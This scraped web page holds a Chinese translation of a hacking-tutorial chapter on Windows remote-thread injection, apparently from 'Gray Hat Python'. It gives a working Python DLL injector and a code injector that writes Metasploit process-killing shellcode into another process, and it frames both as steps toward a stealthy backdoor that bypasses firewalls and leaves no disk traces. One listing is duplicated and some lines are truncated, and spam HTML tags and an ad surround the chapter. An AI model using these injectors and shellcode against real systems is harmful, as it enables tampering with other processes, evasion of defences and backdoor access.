<ruby id="bdb3f"></ruby>

    <p id="bdb3f"><cite id="bdb3f"></cite></p>

      <p id="bdb3f"><cite id="bdb3f"><th id="bdb3f"></th></cite></p><p id="bdb3f"></p>
        <p id="bdb3f"><cite id="bdb3f"></cite></p>

          <pre id="bdb3f"></pre>
          <pre id="bdb3f"><del id="bdb3f"><thead id="bdb3f"></thead></del></pre>

          <ruby id="bdb3f"><mark id="bdb3f"></mark></ruby><ruby id="bdb3f"></ruby>
          <pre id="bdb3f"><pre id="bdb3f"><mark id="bdb3f"></mark></pre></pre><output id="bdb3f"></output><p id="bdb3f"></p><p id="bdb3f"></p>

          <pre id="bdb3f"><del id="bdb3f"><progress id="bdb3f"></progress></del></pre>

                <ruby id="bdb3f"></ruby>

                合規國際互聯網加速 OSASE為企業客戶提供高速穩定SD-WAN國際加速解決方案。 廣告
                ## 7.1 創建遠線程 兩種注入雖然在基礎原理上不同,但是實現的方法差不多:創建遠線程。這由 CreateRemoteThread()完成,同樣由由 kernel32.dll 導出。原型如下: ``` HANDLE WINAPI CreateRemoteThread( HANDLE hProcess, LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId ); ``` 別被這么多參數嚇著,它們很多通過名字就能知道什么用。第一個參數,hProcess 就是 將要注入的目標進程的句柄。lpThreadAttributes 參數就是創建的線程的安全描述符,其中 的數值決定了線程是否能被子進程繼承。在這里只要簡單的設置成 NULL,將會得到一個不 能繼承的線程句柄,和一個默認的安全描述符。 dwStackSize 參數表示新線程的棧大小,在 這里簡單的設置成 0,表示設置成進程默認的大小。下一次參數是最重要的: lpStartAddress, 也就是新線程要執行的代碼在內存中的哪個位置。lpParameter 和上一個參數一樣重要,不 過 提 供 的 是 一 個 指 針 , 指 向 一 塊 內 存 區 域 , 里 頭 的 數 據 就 是 傳 遞 給 新 線 程 的 參 數 。 dwCreationFlags 決定了線程如何開始。這里我們設置成 0,表示在線程創建后立即執行。更 多詳細的介紹看 MSDN。最后一個參數 lpThreadId 在線程創建成功后填充為新線程的 ID。 知道了參數的作用,讓我們看看如何將 DLL 注入到目標進程,以及 shellcode 的注入。 兩種遠線程創建,有些許的不同,所以分開來說。 ### 7.1.1 DLL 注入 DLL 注入是亦正亦邪的技術。從 Windows 的 shell 擴展到病毒的偷取技術,處處都能見到它們。甚至安全軟件也會通過將 DLL 注入進程以監視進程的行為。DLL 確實很好用,因 為它們不僅能夠將它編譯為二進制,還能加載到目標進程,使它成為目標進程的一部分。這 非常有用,比如繞過軟件防火墻的限制(它們通常只讓特定的進程與外界聯系,比如 IE)。 接下來讓我們用 Python 寫一個 DLL 注入腳本,實現將 DLL 注入指定的任何進程。 在一個進程里載入 DLL 需要使用 LoadLibrary()函數(由 kernel32.dll 導出)。函數原型 如下: ``` HMODULE LoadLibrary( LPCTSTR lpFileName ); ``` lpFileName 參數為 DLL 的路徑。我們需要讓目標調用 LoadLibraryA 加載我們的 DLL。 首先解析出 LoadLibraryA 在內存中的地址,然后將 DLL 路徑傳入。實際操作就是使用 CreateRemoteThread(),lpStartAddress 指向 LoadLibraryA 的地址,lpParameter 指向 DLL 路 徑。當 CreateRemoteThread()執行成功,就像目標進程自己調用 LoadLibraryA 加載了我們的 DLL。 DLL 注入測試的源碼,可從 [http://www.nostarch.com/ghpython.htm](http://www.nostarch.com/ghpython.htm) 下載。 ``` #dll_injector.py import sys from ctypes import * PAGE_READWRITE = 0x04 PROCESS_ALL_ACCESS = ( 0x000F0000 | 0x00100000 | 0xFFF ) VIRTUAL_MEM = ( 0x1000 | 0x2000 ) kernel32 = windll.kernel32 pid = sys.argv[1] dll_path = sys.argv[2] dll_len = len(dll_path) # Get a handle to the process we are injecting into. h_process = kernel32.OpenProcess( PROCESS_ALL_ACCESS, False, int(pid) ) if not h_process: print "[*] Couldn't acquire a handle to PID: %s" % pid sys.exit(0) # Allocate some space for the DLL path arg_address = kernel32.VirtualAllocEx(h_process, 0, dll_len, VIRTUAL_ME PAGE_READWRITE) # Write the DLL path into the allocated space written = c_int(0) kernel32.WriteProcessMemory(h_process, arg_address, dll_path, dll_len, byref(written)) # We need to resolve the address for LoadLibraryA h_kernel32 = kernel32.GetModuleHandleA("kernel32.dll") h_loadlib = kernel32.GetProcAddress(h_kernel32,"LoadLibraryA") # Now we try to create the remote thread, with the entry point set # to LoadLibraryA and a pointer to the DLL path as its single parameter thread_id = c_ulong(0) if not kernel32.CreateRemoteThread(h_process, None, 0, h_loadlib, arg_address, 0, byref(thread_id)): print "[*] Failed to inject the DLL. Exiting." sys.exit(0) print "[*] Remote thread with ID 0x%08x created." % thread_id.value ``` 第一步,在目標進程內申請足夠的空間,用于存儲 DLL 的路徑。第二步,將 DLL 路徑 寫入申請好的地址。第三步,解析 LoadLibraryA 的內存地址。最后一步,將目標進程句柄 和 LoadLibraryA 地址還有存儲 DLL 路徑的內存地址,傳入 CreateRemoteThread()。一旦, 線程創建成功就會看到彈出一個窗口。 現在我們已經成功的完成了 DLL 注入。是讓彈出窗口優點虎頭蛇尾。但是這對于我們 明白注入的使用,非常重要。 ### 7.1.2 代碼注入 讓我們再狡猾點,再黑點。代碼注入能夠將 shellcode 注入到一個運行的進程,立即執 行,不會在硬盤上留下任何東西。同樣也能將一個進程的 shell 遷移到另一個進程。 接下來我們將用一個簡短的 shellcode(能終止指定 PID 的進程)注入到目標進程,然 后殺掉目標進程,同時不留任何痕跡。這對于我們本章最后要創建的后門是至關重要的一步。 同樣,我們還要演示如何安全的替換 shellcode,以適用更多的不同的任務。 可以通過 Metasploit 的主頁獲得終止進程的 shellcode,它們的 shellcode 生成器非常好 用。如果之前沒用過的,直接訪問 [http://metasploit.com/shellcode/](http://metasploit.com/shellcode/)。這次我們使用 Windows Execute Command shellcode 生成器。創建的 shellcdoe 如表 7-1。 ``` /* win32_exec - EXITFUNC=thread CMD=taskkill /PID AAAAAAAA Size=152 Encoder=None http://metasploit.com*/ unsigned char scode[] = "\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b" "\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01\xee\x31\xc0\x99" "\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x04" "\x75\xe5\x8b\x5f\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb" "\x8b\x1c\x8b\x01\xeb\x89\x5c\x24\x04\xc3\x31\xc0\x64\x8b\x40\x30" "\x85\xc0\x78\x0c\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x68\x08\xeb\x09" "\x8b\x80\xb0\x00\x00\x00\x8b\x68\x3c\x5f\x31\xf6\x60\x56\x89\xf8" "\x83\xc0\x7b\x50\x68\xef\xce\xe0\x60\x68\x98\xfe\x8a\x0e\x57\xff" "\xe7\x74\x61\x73\x6b\x6b\x69\x6c\x6c\x20\x2f\x50\x49\x44\x20\x41" "\x41\x41\x41\x41\x41\x41\x41\x00"; ``` Listing 7-1:由 Metasploit 產生的 Process-killing shellcode 生成的 shellcode 的時候記得選中 Restricted Characters 文本框以清除 0x00 字節,同時 Encoder 框設置成默認編碼。在 shellcode 的最后一行你看到了重復的 8 個\x41。為什么是 8 個大小的 A?因為,后面我們要動態的指定 PID(需要被殺掉的進程)的時候,只要把 8 個\x41 替換成 PID 的數值就行了,剩下的位置用\x00 替換。如果之前生成的時候對 shellcode 進行 了編碼,那后面的這 8 個 A 也會被編碼,到時候你就會非常痛苦,根本找不出來替換的地 方。 現在我們有了自己的 shellcode,是時候回來進行實際的 code injection 工作了。 ``` #code_injector.py import sys from ctypes import * # We set the EXECUTE access mask so that our shellcode will # execute in the memory block we have allocated PAGE_EXECUTE_READWRITE = 0x00000040 PROCESS_ALL_ACCESS = ( 0x000F0000 | 0x00100000 | 0xFFF ) VIRTUAL_MEM = ( 0x1000 | 0x2000 ) kernel32 = windll.kernel32 pid = int(sys.argv[1]) pid_to_kill = sys.argv[2] if not sys.argv[1] or not sys.argv[2]: print "Code Injector: ./code_injector.py <PID to inject> <PID to Kil sys.exit(0) #/* win32_exec - EXITFUNC=thread CMD=cmd.exe /c taskkill /PID AAAA #Size=159 Encoder=None http://metasploit.com */ shellcode = \ "\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b" \ "\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01\xee\x31\xc0\x99" \ "\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x04" \ "\x75\xe5\x8b\x5f\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb" \ "\x8b\x1c\x8b\x01\xeb\x89\x5c\x24\x04\xc3\x31\xc0\x64\x8b\x40\x30" \ "\x85\xc0\x78\x0c\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x68\x08\xeb\x09" \ "\x8b\x80\xb0\x00\x00\x00\x8b\x68\x3c\x5f\x31\xf6\x60\x56\x89\xf8" \ "\x83\xc0\x7b\x50\x68\xef\xce\xe0\x60\x68\x98\xfe\x8a\x0e\x57\xff" \ "\xe7\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20\x74\x61\x73\x6b" \ "\x6b\x69\x6c\x6c\x20\x2f\x50\x49\x44\x20\x41\x41\x41\x41\x00" padding = 4 - (len( pid_to_kill )) replace_value = pid_to_kill + ( "\x00" * padding ) replace_string= "\x41" * 4 shellcode = shellcode.replace( replace_string, replace_value ) code_size = len(shellcode) # Get a handle to the process we are injecting into. h_process = kernel32.OpenProcess( PROCESS_ALL_ACCESS, False, int(pid) ) if not h_process: print "[*] Couldn't acquire a handle to PID: %s" % pid ``` ``` # code_injector.py import sys from ctypes import * # We set the EXECUTE access mask so that our shellcode will # execute in the memory block we have allocated PAGE_EXECUTE_READWRITE = 0x00000040 PROCESS_ALL_ACCESS = ( 0x000F0000 | 0x00100000 | 0xFFF ) VIRTUAL_MEM = ( 0x1000 | 0x2000 ) kernel32 = windll.kernel32 pid = int(sys.argv[1]) pid_to_kill = sys.argv[2] if not sys.argv[1] or not sys.argv[2]: print "Code Injector: ./code_injector.py <PID to inject> <PID to Kil sys.exit(0) #/* win32_exec - EXITFUNC=thread CMD=cmd.exe /c taskkill /PID AAAA #Size=159 Encoder=None http://metasploit.com */ shellcode = \ "\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b" \ "\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01\xee\x31\xc0\x99" \ "\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x04" \ "\x75\xe5\x8b\x5f\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb" \ "\x8b\x1c\x8b\x01\xeb\x89\x5c\x24\x04\xc3\x31\xc0\x64\x8b\x40\x30" \ "\x85\xc0\x78\x0c\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x68\x08\xeb\x09" \ "\x8b\x80\xb0\x00\x00\x00\x8b\x68\x3c\x5f\x31\xf6\x60\x56\x89\xf8" \ "\x83\xc0\x7b\x50\x68\xef\xce\xe0\x60\x68\x98\xfe\x8a\x0e\x57\xff" \ "\xe7\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20\x74\x61\x73\x6b" \ "\x6b\x69\x6c\x6c\x20\x2f\x50\x49\x44\x20\x41\x41\x41\x41\x00" padding = 4 - (len( pid_to_kill )) replace_value = pid_to_kill + ( "\x00" * padding ) replace_string= "\x41" * 4 shellcode = shellcode.replace( replace_string, replace_value ) code_size = len(shellcode) # Get a handle to the process we are injecting into. h_process = kernel32.OpenProcess( PROCESS_ALL_ACCESS, False, int(pid) ) if not h_process: print "[*] Couldn't acquire a handle to PID: %s" % pid sys.exit(0) # Allocate some space for the shellcode arg_address = kernel32.VirtualAllocEx(h_process, 0, code_size, VIRTUAL_MEM, PAGE_EXECUTE_READWRITE) # Write out the shellcode written = c_int(0) kernel32.WriteProcessMemory(h_process, arg_address, shellcode, code_size, byref(written)) # Now we create the remote thread and point its entry routine # to be head of our shellcode thread_id = c_ulong(0) if not kernel32.CreateRemoteThread(h_process,None,0,arg_address,None, 0,byref(thread_id)): print "[*] Failed to inject process-killing shellcode. Exiting." sys.exit(0) print "[*] Remote thread created with a thread ID of: 0x%08x" % thread_id.value print "[*] Process %s should not be running anymore!" % pid_to_kill ``` 上面的代碼大部分看起來都很熟悉,但是還是有些有趣的技巧的。第一個,替換 shellcode 成我們想終止的 PID 的字符串。另一個值得關注的地方,就是調用 CreateRemoteThread()時, lpStartAddress 指向存放 shellcode 的地址,而 lpParameter 設置為 NULL。因為我們不需要傳 入任何參數,我們只是想創建新線程執行 shellcdoe。 腳本調用參數如下: ``` ./code_injector.py <PID to inject> <PID to kill> ``` 傳入合適的參數,線程創建成功的話,就會返回線程 ID。目標進程被終止后,你會看 到 cmd.exe 進程也結束了。 現在你知道了如何從另一個進程加載和執行 shellcdoe。現在不僅遷移 shell 方便了,隱 藏蹤跡也更方便了,因為沒有任何代碼出現在硬盤上。接下來把我們所學的結合起來,創建 一個可定制的后門,當目標機器上線的時候,就能獲取遠程訪問的權限。 我們能更壞嗎?能!
                  <ruby id="bdb3f"></ruby>

                  <p id="bdb3f"><cite id="bdb3f"></cite></p>

                    <p id="bdb3f"><cite id="bdb3f"><th id="bdb3f"></th></cite></p><p id="bdb3f"></p>
                      <p id="bdb3f"><cite id="bdb3f"></cite></p>

                        <pre id="bdb3f"></pre>
                        <pre id="bdb3f"><del id="bdb3f"><thead id="bdb3f"></thead></del></pre>

                        <ruby id="bdb3f"><mark id="bdb3f"></mark></ruby><ruby id="bdb3f"></ruby>
                        <pre id="bdb3f"><pre id="bdb3f"><mark id="bdb3f"></mark></pre></pre><output id="bdb3f"></output><p id="bdb3f"></p><p id="bdb3f"></p>

                        <pre id="bdb3f"><del id="bdb3f"><progress id="bdb3f"></progress></del></pre>

                              <ruby id="bdb3f"></ruby>

                              哎呀哎呀视频在线观看